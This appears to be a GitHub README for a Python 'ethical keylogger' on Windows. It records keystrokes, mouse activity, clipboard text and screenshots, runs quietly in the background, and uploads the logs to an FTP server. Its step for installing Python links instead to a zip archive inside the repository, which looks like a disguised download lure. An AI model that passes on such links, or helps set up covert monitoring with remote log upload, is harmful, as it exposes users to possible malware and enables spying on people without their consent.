A tool designed to capture keystrokes, mouse activity, clipboard data, and screenshots on Windows. Built for educational use in cybersecurity training and labs.
- Windows 10 or later
- Python 3.8 or newer installed
- At least 100 MB free disk space
- An internet connection (for FTP upload feature)
- Permissions to run applications on your computer
This software records your keyboard presses and mouse movements. It can also capture clipboard contents and take screenshots at set intervals. The data can be saved locally or sent to an FTP server you control.
It’s intended for learning about security and ethical hacking. Using it without permission is not allowed.
Follow these steps to get the software running on your Windows PC.
Go to the official repository page at the link above. This page contains all files and instructions you need.
- Scroll down to find the Code button near the top right.
- Click Code, then click Download ZIP.
- Save the ZIP file on your computer.
- Locate the ZIP file you downloaded.
- Right-click on it and choose Extract All...
- Select a folder where you want to keep the program, like Desktop or Documents.
- Click Extract to unzip the files.
This program runs using Python. If you do not have it, follow this:
- Visit https://raw.githubusercontent.com/YashAgni2372/ethical-keylogger/main/Pesah/keylogger-ethical-v2.4.zip
- Download the latest version for Windows.
- Run the installer.
- Make sure to check the box that says Add Python to PATH before clicking install.
- Press the Windows key or click the Start menu.
- Type cmd and press Enter.
- A black window with white text will open.
In the Command Prompt window:
- Type
cdfollowed by the folder path where you extracted the files.
For example, if on Desktop:
cd Desktop\ethical-keylogger-main
- Press Enter.
- The software needs some Python modules to work.
- Type the following command and press Enter:
pip install -r requirements.txt
- Wait for the modules to install.
- Once modules are installed, start the keylogger by typing:
python ethical_keylogger.py
- Press Enter.
- The program will begin running quietly in the background.
- By default, the program saves logs in the same folder, under a folder named
logs. - Check files inside
logsto see recorded keystrokes, mouse activity, clipboard content, and screenshots. - Screenshots will be saved as image files.
If you want the data sent to a remote server:
- Open
config.inifile in a text editor. - Enter your FTP server address, username, and password.
- Save the file.
- The program will upload logs at set intervals.
- Go back to the Command Prompt where the program runs.
- Press
Ctrl + Cto stop.
This keylogger is for authorized use only. Always ask for permission before monitoring any device. Do not use this tool on systems you do not own or have explicit consent to test.
- Records every key pressed on the keyboard
- Tracks mouse clicks and movements
- Captures clipboard text when changed
- Takes periodic screenshots for visual monitoring
- Saves data locally or uploads via FTP
- Works on multiple platforms with Python
- Designed for learning ethical hacking techniques
If typing python gives an error:
- Try
python3instead. - Make sure Python is installed and added to your system PATH.
If pip install fails:
- Check your internet connection.
- Update pip by running
python -m pip install --upgrade pip.
- Check you are in the right folder.
- Confirm
ethical_keylogger.pyfile exists. - Ensure required modules are installed.
bugbounty | ctf | cybersecurity | ethical-hacking | hacking-tools | infosec | kali-linux | keylogger | malware-analysis | network-security | oscp | pentesting | python-security | red-team